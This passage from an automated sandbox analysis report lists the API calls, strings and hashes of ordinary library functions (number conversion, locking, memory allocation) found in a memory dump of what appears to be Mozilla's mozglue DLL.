Opcode Fuzzy Hash: 9f93728eb3195fc85d465dad37dc9ec3e2fdc6624e6170177769f253b89a4195
Instruction Fuzzy Hash: 09511271A0021A8FCB05CF18C890AAAFBA5EFA9304F19859DD8595F352D331ED16CBE0

Function 6CA477D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA477FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6CA47829

Part of subcall function 6CA1CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C9E31A7), ref: 6CA1CC45
Part of subcall function 6CA1CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C9E31A7), ref: 6CA1CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CA4789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CA478CF

Part of subcall function 6C9E4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9E4E5A
Part of subcall function 6C9E4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C9E4E97

Part of subcall function 6C9E4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CA23EBD,6CA23EBD,00000000), ref: 6C9E42A9

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 9f9f7c9d51941215562fb48967d5d5230db0d8bf800eafcea2307b2c4e97fef8
Instruction ID: d18b900b2292bf02eeb033e45e3f8755ca094897b5ac010b5a0caf56385d1d9d
Opcode Fuzzy Hash: 9f9f7c9d51941215562fb48967d5d5230db0d8bf800eafcea2307b2c4e97fef8
Instruction Fuzzy Hash: ED419F719047469BD300DF29D88056BFBF4FFDA254F608A2DE4A987780DB30D599CB92

Function 6CA26470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CA282BC,?,?), ref: 6CA2649B

Part of subcall function 6C9FCA10: malloc.MOZGLUE(?), ref: 6C9FCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA264A9

Part of subcall function 6CA1FA80: GetCurrentThreadId.KERNEL32 ref: 6CA1FA8D
Part of subcall function 6CA1FA80: AcquireSRWLockExclusive.KERNEL32(6CA6F448), ref: 6CA1FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA2653F
free.MOZGLUE(?), ref: 6CA2655A

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: c2ff3a3ce0b00693e1f7ac904c102dedb79b7642c6cecaf966cba1796fee08f2
Instruction ID: 6d614122c3753250c72b2fc710b747e40864931f896148e905e9d84d754bc76c
Opcode Fuzzy Hash: c2ff3a3ce0b00693e1f7ac904c102dedb79b7642c6cecaf966cba1796fee08f2
Instruction Fuzzy Hash: DB319EB5A043159FC704CF24D984A9EBBF4FF88318F04852EE89A87741DB34E959CB92

Function 6CA1FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6CA3D019,?,?,?,?,?,00000000,?,6CA2DA31,00100000,?), ref: 6CA1FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6CA3D019,?,?,?,?,?,00000000,?,6CA2DA31,00100000,?,?), ref: 6CA1FFF5
free.MOZGLUE(?,?,?,?,?,6CA3D019,?,?,?,?,?,00000000,?,6CA2DA31,00100000,?), ref: 6CA2001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CA3D019,?,?,?,?,?,00000000,?,6CA2DA31,00100000,?,?), ref: 6CA2002A

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: b9fb0b504caf1f3a89ebc30d0b6adac0eb02ee7f2c05a345b1281b78ab8289a2
Instruction ID: 8114b0e9119d6483d125d6f43a003574141c7c25381cae19dc3cab00df8ceade
Opcode Fuzzy Hash: b9fb0b504caf1f3a89ebc30d0b6adac0eb02ee7f2c05a345b1281b78ab8289a2
Instruction Fuzzy Hash: 8D2103B2E042155FD7089E7DDCD48AFB7BAEB893243294738E425D7780EA70AD4586E0

Function 6C9FB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9FB4F5
AcquireSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6C9FB502
ReleaseSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6C9FB542
free.MOZGLUE(?), ref: 6C9FB578

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 44f6d973b37cae89e25b1927dac7349263577193bd243a835e8d558e59e7e5a7
Instruction ID: 3c6f32a42a2f0ef815740e104596d28a8cc92d422df2a94b405f43b56ad51fff
Opcode Fuzzy Hash: 44f6d973b37cae89e25b1927dac7349263577193bd243a835e8d558e59e7e5a7
Instruction Fuzzy Hash: A511D331A08B46CBD7128F2AD9087A1B3B5FF96318F14970EE85957E01EBB5F1C68790

Function 6CA23DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C9EF20E,?), ref: 6CA23DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C9EF20E,00000000,?), ref: 6CA23DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA23E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CA23E0E

Part of subcall function 6CA1CC00: GetCurrentProcess.KERNEL32(?,?,6C9E31A7), ref: 6CA1CC0D
Part of subcall function 6CA1CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C9E31A7), ref: 6CA1CC16

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 79e171a491fa22cedf28b6c7efcc54ef63d10fb0a7574ed9e193c8d5181e8dee
Instruction ID: 196a84bc02e9d43ca86f3b0267e62287f7c07bd86e35d1805c60a50fff8502a9
Opcode Fuzzy Hash: 79e171a491fa22cedf28b6c7efcc54ef63d10fb0a7574ed9e193c8d5181e8dee
Instruction Fuzzy Hash: 63F082716003097BDB04AB55DC41DBB376DEB46628F044020FD0817700D735BD6A86F7

Function 6CA320B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA320B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6CA1FBD1), ref: 6CA320C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6CA1FBD1), ref: 6CA320DA
free.MOZGLUE(00000000,?,6CA1FBD1), ref: 6CA320F1

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 2bf9aa95909d19b86b0777a55c91d7001aaf2cf775ec790146fcce6ed699e6aa
Instruction ID: edff52c26eb994adb1604582a7e8e010aee2e49974fd565f79c91f4533e1dbea
Opcode Fuzzy Hash: 2bf9aa95909d19b86b0777a55c91d7001aaf2cf775ec790146fcce6ed699e6aa
Instruction Fuzzy Hash: 58E06C316007259BC6205F26E80859EB7F9EF872147144716F54AC3701D775A98F87D5

Function 6CA385B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CA385D3

Part of subcall function 6C9FCA10: malloc.MOZGLUE(?), ref: 6C9FCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CA38725

Strings

map/set<T> too long, xrefs: 6CA38720

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 36bb86219ec77732a41a6ac6639a546d779aea4c79bdbf17c161bd51780bf1a6
Instruction ID: 8154023b9fd859f1bda2292057e738f9cd3f0ec3861ea8cb8ff680dda9c759af
Opcode Fuzzy Hash: 36bb86219ec77732a41a6ac6639a546d779aea4c79bdbf17c161bd51780bf1a6
Instruction Fuzzy Hash: 7B5157746006618FD701CF18C1A4A95BBF1BF49318F18C19AD85D9BB62C375E885CF91

Function 6C9EBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C9EBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9EBE8F

Strings

0, xrefs: 6C9EBE5B

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 14c8973071b50ceb06c00e1838f0c7d4f9896ca95914f80666a193481d17407e
Instruction ID: 2a75e0d47caab4f5898933583dcf92bfceb672a7054d84bf4c0ebd543d8d8cb9
Opcode Fuzzy Hash: 14c8973071b50ceb06c00e1838f0c7d4f9896ca95914f80666a193481d17407e
Instruction Fuzzy Hash: 5141AE71909745CFC702CF38C481A9BB7F8AFAE348F008A1DF995A7611E730D9598B86

Function 6CA23CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA23D19
mozalloc_abort.MOZGLUE(?), ref: 6CA23D6C

Strings

d, xrefs: 6CA23D58

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: ee9817ee97e64bfab189d8caaead6446f4127d3a6c27d09460725b8fa928f768
Instruction ID: d632cfe7116ea5884d804fee73ce0c323087c93c14a9dda6bad10e9fce9a4bfc
Opcode Fuzzy Hash: ee9817ee97e64bfab189d8caaead6446f4127d3a6c27d09460725b8fa928f768
Instruction Fuzzy Hash: FC110435E047999BDB048B6ACD144FDB779EF87218B88C718DC859BA02EB34A5C9C750

Function 6C9F4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9F44B2,6CA6E21C,6CA6F7F8), ref: 6C9F473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C9F474A

Strings

GetNtLoaderAPI, xrefs: 6C9F4744

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 23a0a3697d81c6226ff7e4df7a3bd590ae27b6f11cbcaacdae0e3a8bc5a2da82
Instruction ID: 3b9fcbbb947300e063a7970ab1f02b533b13492cac1168bd166750cce54c9a2e
Opcode Fuzzy Hash: 23a0a3697d81c6226ff7e4df7a3bd590ae27b6f11cbcaacdae0e3a8bc5a2da82
Instruction Fuzzy Hash: 20019E793003158FDF089F6A88886297BB9FB8B721B048069EA09C7700DB74D8038FA1

Function 6CA46DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CA46E22
__Init_thread_footer.LIBCMT ref: 6CA46E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CA46E1D

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: b77380508a4c8ccd081ad9fd95080adf1ccb6f807115ea0252d68054fdc9f54e
Instruction ID: cfbbe46c87f2a62732119f0f9430cd6430135d6021a319d939738377f1799323
Opcode Fuzzy Hash: b77380508a4c8ccd081ad9fd95080adf1ccb6f807115ea0252d68054fdc9f54e
Instruction Fuzzy Hash: 53F0BB7A6093C28FDB04876ACD51FE177B27713218F089159CC4546F51D722A9CBCAA3

Function 6C9F9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C9F9EEF

Strings

NaN, xrefs: 6C9F9EC1
Infinity, xrefs: 6C9F9EB7

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 059fb7419b9f85659d28494584ab4639e3c3889d66a487e01be9c3748d685e68
Instruction ID: fafe33192c51776a910998fe64646cd392068439227ee47b3ea710dd6719a9d8
Opcode Fuzzy Hash: 059fb7419b9f85659d28494584ab4639e3c3889d66a487e01be9c3748d685e68
Instruction Fuzzy Hash: 08F08C72604342CEDB04CF1ADD457A03371B70330CF209A1CCA100AE40D336B99BCB92

Function 6C9FBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C9FBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C9FBEF5

Strings

cryptbase.dll, xrefs: 6C9FBEF0

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 6be1cc1bbd4362a3b02cdbe373efaafcefa8cdc90298520ad2a329b50efbcdcb
Instruction ID: f57504fb5303d43ce31f69e0da34f9789f3d21fbaa3d4500ba7b1cc23b7ed6ef
Opcode Fuzzy Hash: 6be1cc1bbd4362a3b02cdbe373efaafcefa8cdc90298520ad2a329b50efbcdcb
Instruction Fuzzy Hash: A4D0C932284209EADB45AEA29D0AB693BB8AB06725F10C021F76594951C7B1E452DB94

Function 6C9E50E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C9E4E9C,?,?,?,?,?), ref: 6C9E510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C9E4E9C,?,?,?,?,?), ref: 6C9E5167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C9E5196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C9E4E9C), ref: 6C9E5234

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: ecbc88b4778193e5976df99fce46f9f7a2678670dad018118ac295816e2d5b77
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 5091AD39505656CFCB15CF08C490A5ABBA6FF9D318B298588EC589B715D331FD82CBE0

Function 6CA208F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA6E7DC), ref: 6CA20918
LeaveCriticalSection.KERNEL32(6CA6E7DC), ref: 6CA209A6
EnterCriticalSection.KERNEL32(6CA6E7DC,?,00000000), ref: 6CA209F3
LeaveCriticalSection.KERNEL32(6CA6E7DC), ref: 6CA20ACB

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 458ccf1e3504238d5c56ff69d0a22134296b6c750cbba87f80043804e4689766
Instruction ID: 20618514f84801be5d9258e62e80e462264418a3fcfde938fc9f77a78ddc5118
Opcode Fuzzy Hash: 458ccf1e3504238d5c56ff69d0a22134296b6c750cbba87f80043804e4689766
Instruction Fuzzy Hash: BA512A327026658FEB0C9A5AC86477673B1FB85B2472D813ADD6697F80D734E88287C0

Function 6CA3B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CA3B2C9,?,?,?,6CA3B127,?,?,?,?,?,?,?,?,?,6CA3AE52), ref: 6CA3B628

Part of subcall function 6CA390E0: free.MOZGLUE(?,00000000,?,?,6CA3DEDB), ref: 6CA390FF
Part of subcall function 6CA390E0: free.MOZGLUE(?,00000000,?,?,6CA3DEDB), ref: 6CA39108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CA3B2C9,?,?,?,6CA3B127,?,?,?,?,?,?,?,?,?,6CA3AE52), ref: 6CA3B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CA3B2C9,?,?,?,6CA3B127,?,?,?,?,?,?,?,?,?,6CA3AE52), ref: 6CA3B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CA3B127,?,?,?,?,?,?,?,?), ref: 6CA3B74D

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: db688ff5eb09199c47f723ae054c51c98b80d87e00e1deace3d8f25e272feb23
Instruction ID: 051d5394ffb1123810343f34282bea2512c27f420d4b247f9ad9f08f58791074
Opcode Fuzzy Hash: db688ff5eb09199c47f723ae054c51c98b80d87e00e1deace3d8f25e272feb23
Instruction Fuzzy Hash: C851E471A02B268BDB14CF59E99479EB7B2FF45304F05A62DC85EE7701D730A884CB91

Function 6CA3DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CA2FF2A), ref: 6CA3DFFD

Part of subcall function 6CA390E0: free.MOZGLUE(?,00000000,?,?,6CA3DEDB), ref: 6CA390FF
Part of subcall function 6CA390E0: free.MOZGLUE(?,00000000,?,?,6CA3DEDB), ref: 6CA39108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CA2FF2A), ref: 6CA3E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CA2FF2A), ref: 6CA3E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CA2FF2A), ref: 6CA3E0FE

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

